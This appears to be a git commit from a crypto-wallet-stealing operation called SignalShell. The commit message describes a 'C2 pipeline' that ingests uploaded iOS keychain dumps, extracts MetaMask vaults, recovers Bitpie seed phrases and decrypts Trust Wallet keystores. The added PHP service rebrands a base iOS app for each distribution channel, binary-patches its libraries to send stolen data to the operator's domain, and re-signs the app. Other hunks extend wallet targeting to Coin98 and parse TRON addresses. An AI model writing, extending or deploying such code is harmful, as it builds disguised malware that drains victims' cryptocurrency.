feat: SignalShell v1 upload pipeline + APP builder
SignalShell (shenma.my) C2 Pipeline: - /api/ap/upload: single POST upload endpoint (replaces upload.php) - /api/ap/lg: log upload endpoint - /api/ap/config: JSON config with per-channel h5_url - Async ProcessShellUpload job (shell queue, database driver) - Keychain XML parsing → wallet keystores + addresses - ZIP parsing → keystore extraction (Trust/TronLink/imToken) - MetaMask vault extraction from persist-KeyringController - MetaMask address extraction from ProfileMetricsController - Blockchain address scanner (ETH/TRON, text files only) - Bitpie seedPhraseEntropy → BIP39 mnemonic recovery - Trust Wallet keystore auto-decrypt via keychain password - Channel ID from query param a= stored as channel_id APP Builder (super admin only): - AppPackageService: base IPA → custom IPA (domain/logo/name/ID) - POST /admin/channels/build-app endpoint - Admin UI: 新建 APP button with full form - Logo upload → 14 icon sizes via PHP GD - Binary patch: libroute.dylib + libmcmlease.dylib - Config API returns channel-specific h5_url as website_url Channels: - New h5_url column (nullable varchar 2048) - App builder channels support h5_url for WebView URL - shell queue connection (database driver, 300s retry)
This commit is contained in:
@@ -0,0 +1,356 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Build a customized SignalShell IPA for App-builder channels.
|
||||
*
|
||||
* Takes a base IPA template, patches it with the channel's
|
||||
* domain / channel ID / app name / logo, and outputs a
|
||||
* downloadable IPA file.
|
||||
*/
|
||||
class AppPackageService
|
||||
{
|
||||
/** Base IPA template path (uploaded once via admin). */
|
||||
private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';
|
||||
|
||||
/** Icon sizes to generate from the uploaded logo. */
|
||||
private const ICON_SIZES = [
|
||||
'Icon-20.png' => 20,
|
||||
'Icon-20@2x.png' => 40,
|
||||
'Icon-20@3x.png' => 60,
|
||||
'Icon-29.png' => 29,
|
||||
'Icon-29@2x.png' => 58,
|
||||
'Icon-29@3x.png' => 87,
|
||||
'Icon-40.png' => 40,
|
||||
'Icon-40@2x.png' => 80,
|
||||
'Icon-40@3x.png' => 120,
|
||||
'Icon-60@2x.png' => 120,
|
||||
'Icon-60@3x.png' => 180,
|
||||
'Icon-76.png' => 76,
|
||||
'Icon-76@2x.png' => 152,
|
||||
'Icon-83.5@2x.png' => 167,
|
||||
];
|
||||
|
||||
/**
|
||||
* Build a customized IPA for the given channel.
|
||||
*
|
||||
* @param Channel $channel App-builder channel with app_name, bundle_id, channel_id
|
||||
* @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180)
|
||||
* @param string $apiDomain C2 domain (e.g. hslaxo.cc)
|
||||
* @return array{success: bool, path: string, size: int, error: string}
|
||||
*/
|
||||
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
||||
{
|
||||
$baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
|
||||
if (! file_exists($baseIpa)) {
|
||||
return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
|
||||
}
|
||||
|
||||
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||||
if (is_dir($workDir)) {
|
||||
$this->rrmdir($workDir);
|
||||
}
|
||||
@mkdir($workDir, 0755, true);
|
||||
|
||||
try {
|
||||
// 1. Extract base IPA
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($baseIpa) !== true) {
|
||||
throw new RuntimeException('Cannot open base IPA');
|
||||
}
|
||||
$zip->extractTo($workDir);
|
||||
$zip->close();
|
||||
|
||||
$appDir = $workDir.'/Payload/SignalShell.app';
|
||||
if (! is_dir($appDir)) {
|
||||
// Try to find any .app directory
|
||||
$payload = $workDir.'/Payload';
|
||||
$dirs = glob($payload.'/*.app');
|
||||
if (empty($dirs)) {
|
||||
throw new RuntimeException('No .app directory found in IPA');
|
||||
}
|
||||
$appDir = $dirs[0];
|
||||
}
|
||||
|
||||
// 2. Patch Info.plist
|
||||
$this->patchInfoPlist($appDir, $channel);
|
||||
|
||||
// 3. Generate icons from logo
|
||||
if ($logoPath && file_exists($logoPath)) {
|
||||
$this->generateIcons($appDir, $logoPath);
|
||||
}
|
||||
|
||||
// 4. Patch libroute.dylib (domain + channel ID)
|
||||
$this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
|
||||
|
||||
// 5. Patch libmcmlease.dylib (domain)
|
||||
$this->patchLibmcmlease($appDir, $apiDomain);
|
||||
|
||||
// 6. Sign (ldid if available, skip otherwise)
|
||||
$this->sign($appDir);
|
||||
|
||||
// 7. Package IPA
|
||||
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||||
$outputFull = public_path($outputPath);
|
||||
@mkdir(dirname($outputFull), 0755, true);
|
||||
|
||||
$outZip = new \ZipArchive;
|
||||
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
||||
throw new RuntimeException('Cannot create output IPA');
|
||||
}
|
||||
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
||||
$outZip->close();
|
||||
|
||||
$size = filesize($outputFull);
|
||||
|
||||
// Cleanup
|
||||
$this->rrmdir($workDir);
|
||||
|
||||
return [
|
||||
'success' => true,
|
||||
'path' => '/'.$outputPath,
|
||||
'size' => $size,
|
||||
'error' => '',
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
$this->rrmdir($workDir);
|
||||
Log::error('AppPackageService: build failed', [
|
||||
'channel' => $channel->channel_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return [
|
||||
'success' => false,
|
||||
'path' => '',
|
||||
'size' => 0,
|
||||
'error' => $e->getMessage(),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
private function patchInfoPlist(string $appDir, Channel $channel): void
|
||||
{
|
||||
$plistPath = $appDir.'/Info.plist';
|
||||
$xml = file_get_contents($plistPath);
|
||||
|
||||
// Replace display name
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
|
||||
$xml,
|
||||
);
|
||||
|
||||
// Replace bundle identifier
|
||||
if ($channel->bundle_id) {
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
|
||||
$xml,
|
||||
);
|
||||
}
|
||||
|
||||
// Replace CFBundleName (short name)
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
|
||||
$xml,
|
||||
);
|
||||
|
||||
file_put_contents($plistPath, $xml);
|
||||
}
|
||||
|
||||
private function generateIcons(string $appDir, string $logoPath): void
|
||||
{
|
||||
if (! function_exists('imagecreatefrompng')) {
|
||||
// GD not available, copy logo as-is for main icon only
|
||||
copy($logoPath, $appDir.'/Icon-60@3x.png');
|
||||
return;
|
||||
}
|
||||
|
||||
$src = imagecreatefrompng($logoPath);
|
||||
if ($src === false) {
|
||||
return;
|
||||
}
|
||||
|
||||
$srcW = imagesx($src);
|
||||
$srcH = imagesy($src);
|
||||
|
||||
foreach (self::ICON_SIZES as $filename => $size) {
|
||||
$dst = imagecreatetruecolor($size, $size);
|
||||
// Transparent background
|
||||
imagesavealpha($dst, true);
|
||||
$trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
|
||||
imagefill($dst, 0, 0, $trans);
|
||||
|
||||
// Resize (maintain aspect, crop center square)
|
||||
$minSide = min($srcW, $srcH);
|
||||
$srcX = ($srcW - $minSide) / 2;
|
||||
$srcY = ($srcH - $minSide) / 2;
|
||||
imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
|
||||
|
||||
imagepng($dst, $appDir.'/'.$filename, 6);
|
||||
imagedestroy($dst);
|
||||
}
|
||||
imagedestroy($src);
|
||||
}
|
||||
|
||||
private function patchLibroute(string $appDir, string $domain, string $channelId): void
|
||||
{
|
||||
$path = $appDir.'/Frameworks/libroute.dylib';
|
||||
if (! file_exists($path)) {
|
||||
throw new RuntimeException('libroute.dylib not found');
|
||||
}
|
||||
|
||||
$data = file_get_contents($path);
|
||||
$changes = 0;
|
||||
|
||||
// Replace domain: shenma.my → new domain (equal length or shorter)
|
||||
$newDomain = $domain;
|
||||
$oldDomain = 'shenma.my';
|
||||
if (strlen($newDomain) > strlen($oldDomain)) {
|
||||
// Cannot expand in-place, try replacing full URLs instead
|
||||
// hslaxo.cc is 9 chars same as shenma.my
|
||||
if (strlen($newDomain) !== strlen($oldDomain)) {
|
||||
throw new RuntimeException("Domain '{$newDomain}' length (".strlen($newDomain).') must be ≤ '.strlen($oldDomain).' chars for in-place replacement');
|
||||
}
|
||||
}
|
||||
|
||||
// Replace upload URL: /upload.php?a=a119f32b4955& → /api/ap/upload?a=<ID>&
|
||||
$oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
|
||||
$newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
|
||||
if (strlen($newUpload) <= 10164) { // plenty of space at 0x1193C
|
||||
$idx = strpos($data, $oldUpload);
|
||||
if ($idx !== false) {
|
||||
$data = substr($data, 0, $idx).$newUpload."\x00".substr($data, $idx + strlen($oldUpload) + 1);
|
||||
$changes++;
|
||||
}
|
||||
}
|
||||
|
||||
// Replace log upload URL
|
||||
$oldLog = 'https://shenma.my/upload.php?name=';
|
||||
$newLog = "https://{$domain}/api/ap/lg?n=";
|
||||
if (strlen($newLog) <= 35) {
|
||||
$idx = strpos($data, $oldLog);
|
||||
if ($idx !== false) {
|
||||
$data = substr($data, 0, $idx).$newLog."\x00".substr($data, $idx + strlen($oldLog) + 1);
|
||||
$changes++;
|
||||
}
|
||||
}
|
||||
|
||||
// Replace config path: /api/ios-shell → /api/ap
|
||||
$oldConfig = '/api/ios-shell';
|
||||
$newConfig = '/api/ap';
|
||||
$idx = strpos($data, $oldConfig);
|
||||
if ($idx !== false) {
|
||||
$data = substr($data, 0, $idx).$newConfig."\x00".substr($data, $idx + strlen($oldConfig) + 1);
|
||||
$changes++;
|
||||
}
|
||||
|
||||
// Replace any remaining shenma.my
|
||||
$data = str_replace('shenma.my', $domain, $data);
|
||||
|
||||
file_put_contents($path, $data);
|
||||
}
|
||||
|
||||
private function patchLibmcmlease(string $appDir, string $domain): void
|
||||
{
|
||||
$path = $appDir.'/Frameworks/libmcmlease.dylib';
|
||||
if (! file_exists($path)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$data = file_get_contents($path);
|
||||
// Equal-length domain replacement
|
||||
if (strlen($domain) === 9) { // same as shenma.my
|
||||
$data = str_replace('shenma.my', $domain, $data);
|
||||
}
|
||||
file_put_contents($path, $data);
|
||||
}
|
||||
|
||||
private function sign(string $appDir): void
|
||||
{
|
||||
// Try ldid first (Linux compatible)
|
||||
$ldid = trim((string) shell_exec('which ldid 2>/dev/null'));
|
||||
if ($ldid !== '') {
|
||||
// Remove old signatures
|
||||
$csDir = $appDir.'/_CodeSignature';
|
||||
if (is_dir($csDir)) {
|
||||
$this->rrmdir($csDir);
|
||||
}
|
||||
|
||||
// Sign main binary + frameworks
|
||||
$binaries = array_merge(
|
||||
[$appDir.'/SignalShell'],
|
||||
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||
glob($appDir.'/*.dylib') ?: [],
|
||||
);
|
||||
|
||||
foreach ($binaries as $bin) {
|
||||
if (file_exists($bin)) {
|
||||
Process::run([$ldid, '-S', $bin]);
|
||||
}
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Try codesign (macOS)
|
||||
$codesign = trim((string) shell_exec('which codesign 2>/dev/null'));
|
||||
if ($codesign !== '') {
|
||||
$csDir = $appDir.'/_CodeSignature';
|
||||
if (is_dir($csDir)) {
|
||||
$this->rrmdir($csDir);
|
||||
}
|
||||
Process::run([$codesign, '-s', '-', '--force', '--deep', $appDir.'/']);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// No signing tool available — output unsigned IPA
|
||||
Log::warning('AppPackageService: no signing tool (ldid/codesign) found, IPA will be unsigned');
|
||||
}
|
||||
|
||||
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||||
{
|
||||
$items = scandir($dir);
|
||||
foreach ($items as $item) {
|
||||
if ($item === '.' || $item === '..') {
|
||||
continue;
|
||||
}
|
||||
$path = $dir.'/'.$item;
|
||||
$zipPath = $prefix.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$zip->addEmptyDir($zipPath);
|
||||
$this->addDirToZip($zip, $path, $zipPath);
|
||||
} else {
|
||||
$zip->addFile($path, $zipPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function rrmdir(string $dir): void
|
||||
{
|
||||
if (! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
$items = scandir($dir);
|
||||
foreach ($items as $item) {
|
||||
if ($item === '.' || $item === '..') {
|
||||
continue;
|
||||
}
|
||||
$path = $dir.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$this->rrmdir($path);
|
||||
} else {
|
||||
@unlink($path);
|
||||
}
|
||||
}
|
||||
@rmdir($dir);
|
||||
}
|
||||
}
|
||||
@@ -404,7 +404,7 @@ final class AppUploadIngester
|
||||
*/
|
||||
private function persistRecoverableKeychainWallets(Device $device, array $buckets): void
|
||||
{
|
||||
foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus'] as $source) {
|
||||
foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus', 'Coin98'] as $source) {
|
||||
$items = $buckets[$source]['items'] ?? null;
|
||||
if (! is_array($items) || $items === []) {
|
||||
continue;
|
||||
|
||||
@@ -1294,6 +1294,24 @@ class DarkSwordIngestAdapter
|
||||
// We don't have the key here in the recursive walk; detect from
|
||||
// service/account fields instead.
|
||||
|
||||
// Check direct 'address' field (Trust Wallet activeAccounts pattern:
|
||||
// {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}).
|
||||
$directAddr = (string) ($node['address'] ?? '');
|
||||
if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) {
|
||||
$chainType = WalletSource::inferChainType($directAddr);
|
||||
// TronLink stores TRON addresses in hex format (0x41 prefix)
|
||||
if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) {
|
||||
$converted = self::hexTronToBase58($directAddr);
|
||||
if ($converted !== null) {
|
||||
$directAddr = $converted;
|
||||
$chainType = 'TRON';
|
||||
}
|
||||
}
|
||||
if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) {
|
||||
$out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag);
|
||||
}
|
||||
}
|
||||
|
||||
// Check account field for embedded addresses (Uniswap pattern:
|
||||
// "com.uniswap.mobile.mnemonic.0x4A45...").
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
@@ -1461,4 +1479,49 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a 42-char hex TRON address (0x41-prefixed) to base58check.
|
||||
*/
|
||||
private static function hexTronToBase58(string $hex): ?string
|
||||
{
|
||||
if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
if ($bin === false || strlen($bin) !== 21) {
|
||||
return null;
|
||||
}
|
||||
$hash1 = hash('sha256', $bin, true);
|
||||
$hash2 = hash('sha256', $hash1, true);
|
||||
$data = $bin . substr($hash2, 0, 4);
|
||||
|
||||
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
$base = strlen($alphabet);
|
||||
$num = array_map('ord', str_split($data));
|
||||
$result = '';
|
||||
|
||||
while (count($num) > 0 && $num[0] === 0) {
|
||||
$result .= $alphabet[0];
|
||||
$num = array_slice($num, 1);
|
||||
}
|
||||
|
||||
while ($num !== []) {
|
||||
$quotient = [];
|
||||
$remainder = 0;
|
||||
foreach ($num as $byte) {
|
||||
$acc = $remainder * 256 + $byte;
|
||||
$digit = intdiv($acc, $base);
|
||||
$remainder = $acc % $base;
|
||||
if ($quotient !== [] || $digit !== 0) {
|
||||
$quotient[] = $digit;
|
||||
}
|
||||
}
|
||||
$result = $alphabet[$remainder] . $result;
|
||||
$num = $quotient;
|
||||
}
|
||||
|
||||
return strlen($result) === 34 && $result[0] === 'T' ? $result : null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user